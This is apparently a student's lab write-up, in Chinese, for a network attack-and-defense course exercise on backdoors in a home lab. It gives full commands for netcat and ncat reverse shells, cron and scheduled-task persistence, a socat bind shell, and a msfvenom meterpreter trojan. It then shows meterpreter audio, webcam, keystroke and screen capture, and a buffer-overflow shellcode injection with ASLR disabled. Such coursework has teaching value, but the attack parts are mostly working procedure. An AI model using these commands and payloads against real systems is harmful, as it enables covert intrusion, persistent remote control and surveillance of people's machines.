标签:相同 行操作 提示 汇总 写入 应该 发送 实验 实验中遇到的问题
任务一:使用netcat获取主机操作Shell,cron启动
任务二:使用socat获取主机操作Shell, 任务计划启动
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
四、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
六、实验中遇到的问题
任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)
任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
crontab
将其设置为定时启动
1、 Windows:使用 ipconfig 指令查看本机IP:192.168.1.6
2、 输入ncat.exe -l -p <学号作为端口号>使用ncat.exe程序监听本机的4322端口
3、 在Kali环境下,使用nc指令的-e选项反向连接Windows主机的4322端口
输入nc <win IP> <端口号> -e /bin/sh
nc 192.168.1.6 4322 -e /bin/sh
4、 成功获得Kali的shell,如下图所示
1、在Kali环境中使用ifconfig查看IP:192.168.1.22,kali的IP地址是可以改的。
输入 ifconfig
可参考:《超详细kali linux 设置固定IP地址步骤》
2、 使用nc指令监听4322端口<学号为端口>
输入:nc -l -p 4322
3、 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的4322端口
输入ncat.exe -e cmd.exe 192.168.1.22<kali 的 ip> 4322
图中说“pwd”不是内部或外部命令这个,是因为我在kali控制后输入了pwd,他不是win的指令,你看我下图输入dir就显示了目录信息,同时上图也没有弹窗。
4、 Kali下可以看到Windows的命令提示,可以输入Windows命令
1、 Windows系统输入ncat.exe -l 监听4322端口
2、Kali下连接到Windows的4322端口
输入nc 192.168.1.6 4322
3、 建立连接之后,就可以传输数据了
4、 使用nc传输文件(Kali->Windows)
从kali传给windows,先在kali创建文件
按‘i’进入编辑 模式,输入一些字符标识
输入:wq保存并退出
Windows下监听432端口,并把收到的数据保存到file1.out中
ncat.exe -l 4322 > file1.out
kali反弹连接到Windows的4322端口,nc 192.168.1.6 4322< file1.txt
连接建立成功,kali可以收到Windows发来的文件
任务一:使用netcat获取主机操作Shell,cron启动
1、 在Windows系统下,监听4322端口
2、 在Kali环境下,用crontab -e指令编辑一条定时任务
crontab 指令增加一条定时任务
-e表示编辑
选择编辑器时选择3
3、 在最后一行添加15* * * * /bin/netcat 192.168.1.6 4322 -e /bin/sh意思是,每个小时的第15分钟反向连接Windows主机的4322端口,真的要等到 x点15分!但是过了后还是会保留shell,挂着程序,做点别的事就好
4、 当时间到了x点15以及之后时,此时已经获得了Kali的shell,可以输入指令
这里获得的是kali的文件目录
任务二:使用socat获取主机操作Shell, 任务计划启动
预备知识:
1、 Win+R输入compmgmt.msc打开“计算机管理”,在左侧导航栏中的“任务计划程序”中“创建任务”
2、创建任务
填写任务名称
3、 并新建一个触发器
框框里就是字面意思,当工作站锁定时执行操作
4、在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4322exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4322,
6、 创建完成之后,按锁定计算机,事件就启动了,再次解锁打开电脑操作往后做
7、 此时,在Kali环境下输入指令socat- tcp:192.168.1.6:4322
此时可以发现已经成功获得了一个cmd shell
使用win操作可以切换硬盘等等
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcpLHOST=192.168.1.22 LPORT=4322 -f exe > 20174322_attackdoor.exe
2、 通过ncat.exe -lv 4322 > 20174322_attackdoor.exe指令将被控制主机进入接受文件模式
3、 在Linux中执行nc 192.168.1.6 4322 < 20174322_attackdoor.exe,注意这里的IP为被控主机IP,即WindowsIP
4、 传送接收文件成功
5、 在Kali上使用msfconsole指令进入msf控制台
每次字符画会变
6、 设置完成后,执行监听
7、 运行Windows下的后门程序,就是主机运行了木马程序时开通端口给监视端
8、 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
可以看到第三行192.168.1.6(windows)4322端口受kali控制,这里好像没有试一试命令但没必要,接下来实验是在这个界面上做的。
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1、 使用record_mic指令可以截获一段音频
2、 使用webcam_snap指令可以使用摄像头进行拍照
3、 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
4、 使用screenshot指令可以进行截屏
四、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
这个其实不难,可以认真做一下??
首先理解实验一的第三部分,
咱输入的32个“A”就是填充字符,90909090后面的代码就是一种shellcode,用来攻击的,在这里换一种shellcode,换个功能更强大的,这次的能把shell通过端口发送出去,黑客能用MSF meterpreter接收,然后就能入侵靶机。
首先把上次实验用的pwn1文件再下载下来,放在kali根目录就好
同时看到之前的截图啥的其实都存在了这里(因为输命令时我们没设置要存哪)
然后明确pwn1文件不重要,运行的实际是输入的下面这一长串代码。你要做的是找到黄色这几位的地址应该换成啥,换对了就成功了。
perl -e ‘print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘ > input_shellcode
准备工作:
root@KaliYL:~#execstack -s pwn1 //设置堆栈可执行 root@KaliYL:~#execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1 root@KaliYL:~#more /proc/sys/kernel/randomize_va_space 2 root@KaliYL:~#echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 root@KaliYL:~#more /proc/sys/kernel/randomize_va_space 0
输入payload
perl -e ‘print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘ > input_shellcode
步骤4:打开两个终端窗口,左边输入(catinput_shellcode;cat) | ./pwn1 注入然后这个挂着不动,换到第二个端口查看这个任务进程,我这里就是5409,就这四个数左上角这个,就这个,不用别的。这个进程每次运行都不一样的
在这个窗口输入gdb打开编译器,输入attach 5409 编译这个进程
步骤5:在编译调试界面输入disassemble foo设置断点,暂停在foo函数
然后在调试界面输入break *0x080484ae 代表着在上图ret的地方加书签断点,程序运行到这里会暂停。这个*0x080484ae所有人都一样,不一样的应该就是初始设置没弄好,重新设置下,可以试着在pwn1文件的目录下设置
设置完断点回车结束这个指令,弹出新的一行“(gdb)”,然后不要动,换窗口了,
在左边注入代码这个窗口按一下回车
然后在右边调试界面输入c 代表continue继续运行,输入info r esp查看它的地址
算地址 ,(0xffffd38c) 16+ (4)16 = (0xffffd390)16
,改这个pqyload
perl -e ‘print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘ > input_shellcode
改好后打开两个窗口,第一个注入,第二个监视
配置好监视的这个
注入的端口按回车
监视的这边就成功获取到shell了
本次较好地完成了实验的所有内容,在实验中遇到了一些问题也通过百度和其他同学的博客进行探究,对linux系统和windows系统了解更多了一些,知道了weindows的事件是怎么设置的,是怎么启动的,同时我还动手删除了两个Onedrive的事件,烦人的弹窗离我远去。学到了MSF监视器的用法,了解了它的功能。更加熟练的找到程序某个函数的地址,更加深刻地学到了计算偏移地址的方法,更加认真的思考了计算机内存栈的存储和寻址方式
经过这次实验,尝试使用ncat.exe攻击程序在win系统或者linux系统中留下后门,并且实现了屏幕窃取、麦克风控制、摄像头控制、文件传输、命令行控制等操作。在日常生活中,具有一点安全意识的我一般不打开摄像头和麦克风权限,通过这次实验,让我更加重视系统安全问题。很多时候,黑客入侵是不容易察觉的,虽然在实验中windowsdefence发现了注入的特洛伊木马程序,并提醒我注意系统安全。
但到了今天这个时候,一定不断出现新的电脑病毒,如果不及时更新这些杀毒软件的识别库,就有可能检测不到恶意程序代码,所以要及时更新杀毒软件,但是最好不要安装过多的杀毒软件,杀毒软件之间有可能互相杀。
六、实验中遇到的问题
实验中遇到了一些问题,这次做实验没有像上次那样截取了80张图,所以遇到的问题都没有图。
1.是kali连不上网的问题
我在虚拟机中用kali连不上网
图中这个有三部分的才是正常的情况,我出错的时候eth0没有显示出IP地址,这里我找了几个博客
我的建议是改一改,ping www.baidu.com 看看有没有数据包返回,然后ping自己的主机IP地址看看能不能连接,我记得当时我能ping通百度,ping不同自己主机,但还是能做实验,但刚才我试了下我两个都ping不通了。不影响,没事的。
2.防火墙没有关导致端口不能被使用
这个好弄,系统弹窗的时候看清楚是哪个程序,允许实验的进行就好,什么麦克风权限呀,摄像头权限呀,win系统开始菜单直接搜索麦克风可以转到设置。
3.加分项pwn1文件那当时没搞懂
其实一定做实验前搞清楚要做什么,这部分我们要用一个能特殊的shellcode,这个shellcode不仅要有实验一生成一个控制shell的攻击程序,还得把这个shell控制端口交给另一头,能另一个窗口输入ls命令可以显示目录。所以shellcode要换新的了,但是pwn1文件不用换,它就是个启动程序,就像我们自己创建的exe一样,能运行就行了,换地址是为了让他能运行我们希望的shellcode的地方,而不是foo那个蠢蠢的函数。
4.如何理解msf监视
接受植入靶机的木马程序打开的后门通道,使得在msf这一端可以控制靶机
2019-2020-2 20174322童硕《网络对抗技术》Exp2 后门原理与实践
标签:相同 行操作 提示 汇总 写入 应该 发送 实验 实验中遇到的问题
原文地址:https://www.cnblogs.com/20174322-tong-shuo/p/12498378.html